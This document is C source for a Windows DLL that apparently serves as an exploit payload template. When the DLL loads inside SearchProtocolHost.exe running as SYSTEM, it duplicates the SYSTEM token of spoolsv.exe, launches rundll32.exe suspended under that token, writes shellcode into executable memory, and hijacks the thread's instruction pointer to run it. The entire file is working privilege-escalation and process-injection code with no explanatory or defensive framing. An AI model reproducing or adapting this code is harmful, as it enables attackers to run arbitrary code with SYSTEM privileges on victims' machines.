#include <windows.h>
#include <sddl.h>
#include <tchar.h>
#include <tlhelp32.h>
#include <userenv.h>

#include "template.h"

void ExecutePayload(HANDLE hDll);

BOOL WINAPI DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved) {
	switch (dwReason) {
	case DLL_PROCESS_ATTACH:
		ExecutePayload(hDll);
		break;

		case DLL_PROCESS_DETACH:
		break;

		case DLL_THREAD_ATTACH:
		break;

		case DLL_THREAD_DETACH:
		break;
	}
	return TRUE;
}

BOOL StringEndsWithStringA(LPCSTR szStr, LPCSTR szSuffix, BOOL bCaseSensitive) {
	int result;

	if (strlen(szStr) < strlen(szSuffix)) {
		return FALSE;
	}
	if (bCaseSensitive) {
		result = strcmp((szStr + strlen(szStr) - strlen(szSuffix)), szSuffix);
	}
	else {
		result = _stricmp((szStr + strlen(szStr) - strlen(szSuffix)), szSuffix);
	}
	return result == 0;
}

BOOL GetProcessSid(HANDLE hProc, PSID *pSid) {
	HANDLE hToken;
	DWORD dwLength = 0;
	TOKEN_USER *tuUser = NULL;
	SIZE_T szSid = 0;

	*pSid = NULL;
	if (!OpenProcessToken(hProc, (TOKEN_READ), &hToken)) {
		return FALSE;
	}

	GetTokenInformation(hToken, TokenUser, NULL, 0, &dwLength);
	tuUser = (TOKEN_USER *)malloc(dwLength);
	if (!tuUser) {
		return FALSE;
	}

	if (!GetTokenInformation(hToken, TokenUser, tuUser, dwLength, &dwLength)) {
		free(tuUser);
		return FALSE;
	}

	szSid = GetLengthSid(tuUser->User.Sid);
	*pSid = LocalAlloc(LPTR, szSid);
	if ((*pSid) && (!CopySid((DWORD)szSid, *pSid, tuUser->User.Sid))) {
		LocalFree(*pSid);
		*pSid = NULL;
	}

	free(tuUser);
	CloseHandle(hToken);
	return *pSid != NULL;
}

BOOL IsProcessRunningAsSidString(HANDLE hProc, LPCTSTR sStringSid, PBOOL pbResult) {
	PSID pTestSid = NULL;
	PSID pTargetSid = NULL;

	if (!ConvertStringSidToSid(sStringSid, &pTargetSid)) {
		return FALSE;
	}

	if (!GetProcessSid(hProc, &pTestSid)) {
		LocalFree(pTargetSid);
		return FALSE;
	}

	*pbResult = EqualSid(pTestSid, pTargetSid);
	LocalFree(pTargetSid);
	LocalFree(pTestSid);
	return TRUE;
}

DWORD FindProcessId(LPCTSTR szProcessName) {
	HANDLE hProcessSnap;
	PROCESSENTRY32 pe32;
	DWORD result = 0;

	hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
	if (hProcessSnap == INVALID_HANDLE_VALUE) {
		return 0;
	}

	pe32.dwSize = sizeof(PROCESSENTRY32);
	if (!Process32First(hProcessSnap, &pe32)) {
		CloseHandle(hProcessSnap);
		return 0;
	}

	do {
		if (!strcmp(szProcessName, pe32.szExeFile)) {
			result = pe32.th32ProcessID;
			break;
		}
	} while (Process32Next(hProcessSnap, &pe32));
	CloseHandle(hProcessSnap);
	return result;
}

HANDLE GetPayloadToken(void) {
	HANDLE hTokenHandle = NULL;
	HANDLE hProcessHandle = NULL;
	BOOL bIsSystem = FALSE;
	DWORD dwPid = 0;
	CHAR Path[MAX_PATH + 1];

	ZeroMemory(Path, sizeof(Path));
	GetModuleFileNameA(NULL, Path, MAX_PATH);
	if (!StringEndsWithStringA(Path, "\\SearchProtocolHost.exe", TRUE)) {
		return NULL;
	}
	/* loaded into the context of SearchProtocolHost.exe */

	if (IsProcessRunningAsSystem(GetCurrentProcess(), &bIsSystem) && (!bIsSystem)) {
		return NULL;
	}
	/* and running as NT_AUTHORITY SYSTEM */

	dwPid = FindProcessId("spoolsv.exe");
	if (!dwPid) {
		return NULL;
	}

	hProcessHandle = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, dwPid);
	if (!hProcessHandle) {
		return NULL;
	}

	bIsSystem = FALSE;
	if (IsProcessRunningAsSystem(hProcessHandle, &bIsSystem) && (!bIsSystem)) {
		return NULL;
	}
	/* spoolsv.exe is also running as NT_AUTHORITY SYSTEM */

	OpenProcessToken(hProcessHandle, TOKEN_DUPLICATE | TOKEN_QUERY | TOKEN_ASSIGN_PRIMARY, &hTokenHandle);
	CloseHandle(hProcessHandle);
	return hTokenHandle;
}

DWORD WINAPI MonitorPayloadProcess(PEXPLOIT_DATA pExploitData) {
	/* wait for the process to exit or 10 seconds before cleaning up */
	WaitForSingleObject(pExploitData->hProcess, 10000);
	CloseHandle(pExploitData->hProcess);
	CloseHandle(pExploitData->hMutex);

	/* this does not return */
	FreeLibraryAndExitThread(pExploitData->hModule, 0);
	return 0;
}

void ExecutePayload(HANDLE hDll) {
	PROCESS_INFORMATION pi;
	STARTUPINFO si;
	CONTEXT ctx;
	LPVOID ep;
	SECURITY_ATTRIBUTES MutexAttributes;
	SIZE_T dwBytesWritten = 0;
	PEXPLOIT_DATA pExploitData = NULL;
	HANDLE hToken;

	pExploitData = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sizeof(EXPLOIT_DATA));
	if (!pExploitData) {
		return;
	}

	/* keep a reference to the module for synchronization purposes */
	GetModuleHandleEx(GET_MODULE_HANDLE_EX_FLAG_FROM_ADDRESS, hDll, (HINSTANCE *)&(pExploitData->hModule));

	ZeroMemory(&MutexAttributes, sizeof(MutexAttributes));
	MutexAttributes.nLength = sizeof(MutexAttributes);
	MutexAttributes.bInheritHandle = TRUE; // inherit the handle
	pExploitData->hMutex = CreateMutex(&MutexAttributes, TRUE, "MUTEX!!!");
	if (!pExploitData->hMutex) {
		return;
	}

	if (GetLastError() == ERROR_ALREADY_EXISTS) {
		CloseHandle(pExploitData->hMutex);
		return;
	}

	if (GetLastError() == ERROR_ACCESS_DENIED) {
		CloseHandle(pExploitData->hMutex);
		return;
	}

	hToken = GetPayloadToken();

	ZeroMemory(&si, sizeof(si));
	si.cb = sizeof(si);

	/* start up the payload in a new process */
	if (CreateProcessAsUser(hToken, NULL, "rundll32.exe", NULL, NULL, FALSE, CREATE_SUSPENDED | IDLE_PRIORITY_CLASS, NULL, NULL, &si, &pi)) {
		ctx.ContextFlags = CONTEXT_INTEGER | CONTEXT_CONTROL;
		GetThreadContext(pi.hThread, &ctx);
		ep = (LPVOID)VirtualAllocEx(pi.hProcess, NULL, SCSIZE, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
		WriteProcessMemory(pi.hProcess,(PVOID)ep, &code, SCSIZE, &dwBytesWritten);
		if (dwBytesWritten == SCSIZE) {

#ifdef _WIN64
			ctx.Rip = (DWORD64)ep;
#else
			ctx.Eip = (DWORD)ep;
#endif

			SetThreadContext(pi.hThread, &ctx);
			ResumeThread(pi.hThread);

			CloseHandle(pi.hThread);
			pExploitData->hProcess = pi.hProcess;
		}
	}

	if (hToken) {
		CloseHandle(hToken);
	}
	CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)MonitorPayloadProcess, pExploitData, 0, NULL);
}